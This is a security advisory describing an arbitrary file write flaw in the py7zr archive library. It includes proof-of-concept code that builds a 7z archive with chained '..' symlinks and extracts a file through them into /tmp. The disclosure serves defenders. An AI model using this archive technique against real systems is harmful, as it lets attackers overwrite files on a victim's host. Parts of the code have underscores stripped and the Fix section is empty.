PT-2026-59605 · Pypi · Py7Zr
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
8.0
High
| Vector | AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H |
Summary
There exists an arbitrary file write vulnerability in
py7zr (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using extractall to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service.Details
The root cause of this vulnerability is that
py7zr fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor.PoC
Construct PoC Archive File
The following pseudo-code illustrates the vulnerable logic.
python
def create sevenz exp(output dir: str):
filename = "archive.7z"
file path = output dir + filename
with py7zr.SevenZipFile(file path, 'w') as archive:
archive.writestr("Some Text", "dir0/someFile.txt")
add symlink(archive, "dir1", "dir0/..")
add symlink(archive, "dir2", "dir1/..")
add symlink(archive, "dir3", "dir2/..")
add symlink(archive, "dir4", "dir3/..")
add symlink(archive, "dir5", "dir4/..")
add symlink(archive, "dir6", "dir5/..")
add symlink(archive, "dir7", "dir6/..")
add symlink(archive, "dir8", "dir7/..")
add symlink(archive, "myTmp", "dir8/tmp")
archive.writestr("Malicious Text
", "myTmp/poc.txt")Unpack the archive
Use common decompression methods, then extract the archive.
python
import sys
import os
import py7zr
def extract 7z(seven path, output dir):
os.makedirs(output dir, exist ok=True)
with py7zr.SevenZipFile(seven path, mode='r') as z:
z.extractall(path=output dir)
print(f"Extracted '{seven path}' to '{output dir}'")
if name == " main ":
seven file = sys.argv[1]
base name = os.path.splitext(os.path.basename(seven file))[0]
output = base name + " sevenz output"
extract 7z(seven file, output)Impact
After decompression, the
output directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Py7Zr